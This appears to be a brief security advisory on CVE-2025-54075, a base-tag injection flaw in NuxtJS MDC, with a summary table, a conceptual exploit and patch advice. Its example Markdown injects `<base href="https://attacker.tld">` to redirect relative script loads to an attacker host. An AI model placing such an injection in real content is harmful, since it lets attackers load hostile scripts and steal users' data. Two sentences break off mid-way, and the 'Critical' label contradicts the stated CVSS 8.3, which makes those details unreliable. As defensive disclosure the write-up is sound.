Overview
The digital world is once again under threat from a severe cybersecurity vulnerability, identified as CVE-2025-54075, affecting the Markdown component (MDC) in NuxtJS. MDC is a tool used widely for writing documents that interact deeply with Vue components. This vulnerability, if exploited, can lead to potential system compromise or data leakage, making it a significant concern for users and developers alike. It is especially critical for businesses that utilize MDC in NuxtJS for their operations, as it poses a significant risk to their data security infrastructure.
Vulnerability Summary
CVE ID: CVE-2025-54075
Severity: Critical (CVSS score 8.3)
Attack Vector: Remote
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
NuxtJS MDC | Prior to version 0.17.2
How the Exploit Works
This vulnerability arises due to an issue in the Markdown component of NuxtJS. The flaw allows a Markdown author to inject a `
Conceptual Example Code
Here’s a conceptual example of how the vulnerability might be exploited. This is a sample Markdown document that includes the malicious `
# My Markdown Document
<base href="https://attacker.tld">
Here is some text...When parsed and rendered by the vulnerable version of NuxtJS MDC, this document would cause all subsequent relative URLs to be resolved against `https://attacker.tld`, potentially leading to the loading of malicious scripts or other resources.
Recommended Mitigations
Users and developers are urged to update to version 0.17.2 of NuxtJS MDC, which contains a fix for the issue. As a temporary mitigation measure, deploying a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help safeguard against potential exploits. However, these measures are not substitutes for applying the vendor patch, and as such, the patch should be applied as soon as possible to ensure maximum protection against this critical vulnerability.